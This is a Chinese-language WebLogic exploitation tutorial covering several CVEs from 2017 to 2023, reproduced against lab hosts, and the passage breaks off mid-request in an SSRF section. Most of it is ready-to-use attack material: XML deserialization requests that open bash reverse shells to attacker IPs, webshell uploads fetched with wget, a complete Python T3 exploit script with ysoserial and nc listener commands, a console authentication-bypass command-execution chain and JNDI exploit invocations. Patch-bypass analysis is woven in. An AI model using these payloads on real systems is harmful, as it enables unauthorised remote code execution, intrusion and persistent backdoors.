Weblogic 中间件漏洞

Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。
目前Weblogic在全球的使用量也占居前列,据统计,在全球范围内对互联网开放Weblogic服务的资产数量多达35382台,美国和中国的Weblogic的使用量接近Weblogic总使用量的70%,其中归属中国地区的资产数量为10562台。
一.CVE-2017-10271
漏洞介绍:
Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的 xml 数据甚至能通过反弹 shell 拿到权限。
影响版本:
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
weblogic服务默认开在7001端口

输入/console会跳转到后台

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。

默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11POC
反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.91.129/10010 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>发起攻击

收到反弹shell

写webshell
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 192.168.100.104:7001
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 522
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>访问/bea_wls_internal/test.jsp已成功写入


CVE-2017-3506与CVE-2017-10271的利用方法一样,只是3506加了验证函数补丁,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object 。
private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException("Parser Exception", var7);
}
}就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过,我们将object换成void就可绕过此补丁,产生了CVE-2017-10271
比如写入文件

二.CVE-2018-2628
影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞原理
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启.
攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
使用exploit的python 2利用脚本
# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
# e.g. nc -nlvp 4040
# 3. run this script on attacker host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
# e.g.
# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
T3协议握手 (t3_handshake)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')在这个函数中,EXP首先通过T3协议与WebLogic Server建立连接,并发送初始化握手包(Hex数据)。握手包的主要目的是建立T3协议的通信信道,以便在后续步骤中发送恶意的Java序列化数据。
参数:
sock: 已连接到目标服务器的Socket对象,用于通信。
server_addr: 目标服务器的地址信息(IP和端口号)。
成功连接后,目标服务器会响应握手请求,表示T3协议的通信信道已建立。
’74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a‘十六进制转换后为:
t3 12.2.1
AS:255
HL:19
MS:10000000
构建T3请求对象 (build_t3_request_object)
def build_t3_request_object(sock, port):
data1 = '...'
data2 = '...'
data3 = '...'
data4 = '...'
for d in [data1, data2, data3, data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))这里,EXP发送了多个经过Hex编码的T3协议数据包,模拟了一个正常的请求。这些请求生成包含多个数据块的T3请求对象,每个数据块以十六进制编码表示。
请求对象中包含了一些必要的字段,以确保能够正常传递恶意序列化对象。
将构建好的请求对象发送给目标服务器,为后续的恶意载荷注入做准备。
这里data1转换后是
�e��������j��{HJV�Jwvf��ڤ��*��t��ysrxrxrxp
pppppp
p���srweblogic.rjvm.ClassTableEntry/Re�W��� xprKaTeX parse error: Expected 'EOF', got '#' at position 39: …l.PackageInfo��#̲縮�ImajorIm…weblogic.common.internal.VersionInfo�"EQdRF>[packagest’[Lweblogic/common/internal/PackageInfo;LreleaseVersiontLjava/lang/String;[versionInfoAsBytest[BxrKaTeX parse error: Expected 'EOF', got '#' at position 39: …l.PackageInfo��#̲縮�ImajorIm…weblogic.common.internal.VersionInfo�"EQdRF>[packagesq
data2十六进制编码后为:
~LreleaseVersiontLjava/lang/String;[versionInfoAsBytest[Bxr$weblogic.common.internal.PackageInfo��#縮�ImajorIminorI rollingPatchIservicePackZtemporaryPatchL implTitleq~L
implVendorq~LimplVersionq~xpwx�����srweblogic.rjvm.JVMID�I�>�* xpwP!
192.168.1.227WIN-AGDMVQUB1T6.eh�4��
������������������������x���srweblogic.rjvm.JVMID�I�>�* xpw �B�
format(‘{:04x}’.format(dport)):将变量 “dport” 的值转换为一个4位十六进制字符串。假设 dport = 80,则执行 ‘{:04x}’.format(dport) 的结果为 0050。这是因为 80 的十六进制表示是 50,而使用 04 格式说明符后,结果被补齐为 4 位,即 0050。
生成恶意载荷 (generate_payload)
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)这一部通过调用ysoserial工具生成恶意的Java对象序列化数据。ysoserial是一款常用的安全工具,用于生成能够利用Java反序列化漏洞的载荷。在这里,EXP将生成的恶意载荷保存为payload.out文件,并通过binascii.hexlify将其转换为Hex编码,准备在后续步骤中发送。
发送恶意载荷 (send_payload_objdata)
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res复现
所需工具
ysoserial-0.0.6-SNAPSHOT-all.jar
44553.py
https://www.exploit-db.com/exploits/44553
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}"图中是运行了后面一条命令后收到的响应

靶机:192.168.100.104
攻击机:192.168.31.21
python2 44553.py 192.168.100.104 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.31.21 5678 JRMPClient

CVE-2019-2725
影响版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件
bea_wls9_async_response.war
wsat.war
漏洞原理
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。
1.访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏

2.访问/_async/如果返回403,也可能存在漏洞

漏洞不仅存在于 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri
默认受影响的uri
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttpswls-wsat.war组件受影响的URI见XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行REC的呢。
我们先来看一下CVE-2017-10271的补丁代码:
public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength();++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){
throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 =attributes.getValue("class");
if(var9 != null &&!var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is notvalid for array element.");
}其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。
绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从CVE-2019-2725的补丁看出来, CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度
else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
}
else {
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {先把后门文件放到服务器,等下让目标下载该后门文件

构造post请求包
注意:有两种写入shell方法,本次使用第二种
第一种是放置在bea_wls9_async_response/8tpkys/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/_async/shell.jsp访问webshell
第一种是放置在bea_wls_internal/9j4dqk/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/bea_wls_internal/shell.jsp访问webshell
POST /_async/AsyncResponseService HTTP/1.1
Host: 目标ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 851
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://shell所在的服务器ip/shell.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>访问shell地址:/bea_wls_internal/shell.jsp?pwd=023&i=whoami

三.CVE-2020-14882
漏洞简介:
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本:
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
查看靶机,已正常启动

漏洞环境url拼接/console/css/%252e%252e%252fconsole.portal
即可直接访问console后台
/console/css/%252e%252e%252fconsole.portal

在首页使用burp抓取数据包,然后发送到Repeater模块构造payload
执行命令calc.exe,因为靶机不是window所以没有展示效果
GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22) HTTP/1.1
Host: 192.168.100.104:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=_i6RW6CkwbR8Zr7DOmC0qhwkfhOdOVZiWlubIcjtgogLbSWVXCAl!-1560292457; think_lang=zh-cn; PHPSESSID=0701339d3e42f0edcf094f63a3919f90; JSESSIONID=z3-RYQeKtqCOmUfkcph4xyWXJWfYJQ-6E19wRWMHtS2JPtA14MaH!-1560292457
Connection: close执行命令whoami
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 192.168.100.104:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: whoami
Content-Length: 1260
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
反弹shell
先新建poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.100.100/10000 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>先开启文件下载服务和nc监听

再去浏览器执行
http://192.168.100.104:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.100.100:9000/poc.xml")收到反弹shell

四.CVE-2023-21839
三.漏洞原理
T3/IIOP协议支持远程绑定对象bind到服务端,而且可以通过lookup代码c.lookup(“xxxxxx”); 查看。远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象getReferent方法。由于weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现getReferent方法,存在retVal = context.lookup(this.remoteJNDIName)实现,所以能够通过RMI/LDAP远程协议进行远程命令执行。(也就是CVE-2023-21839允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。)
四.影响版本
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
所需工具
Weblogic-CVE-2023-21839.jar
https://github.com/DXask88MA/Weblogic-CVE-2023-21839
JNDIExploit-1.4-SNAPSHOT.jar
https://github.com/welk1n/JNDI-Injection-Exploit/releases
本机开启JNDI服务:
java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip 192.168.31.21
java -jar Weblogic-CVE-2023-21839.jar 192.168.100.104:7001 ldap://192.168.31.21:1389/Basic/ReverseShell/192.168.100.100/10000
ladp:1389收到请求

kali收到反弹shell

五.Weblogic-SSRF
漏洞概述:
服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
影响版本:
weblogic 10.0.2 – 10.3.6.0
启动环境后,SSRF漏洞存在于:http://your:ip:7001/uddiexplorer/SearchPublicRegistries.jsp

可控参数
&operator=
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.100.104:7001
Content-Length: 166
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.100.104:7001
Content-Type: application/x-www-form-urlencoded
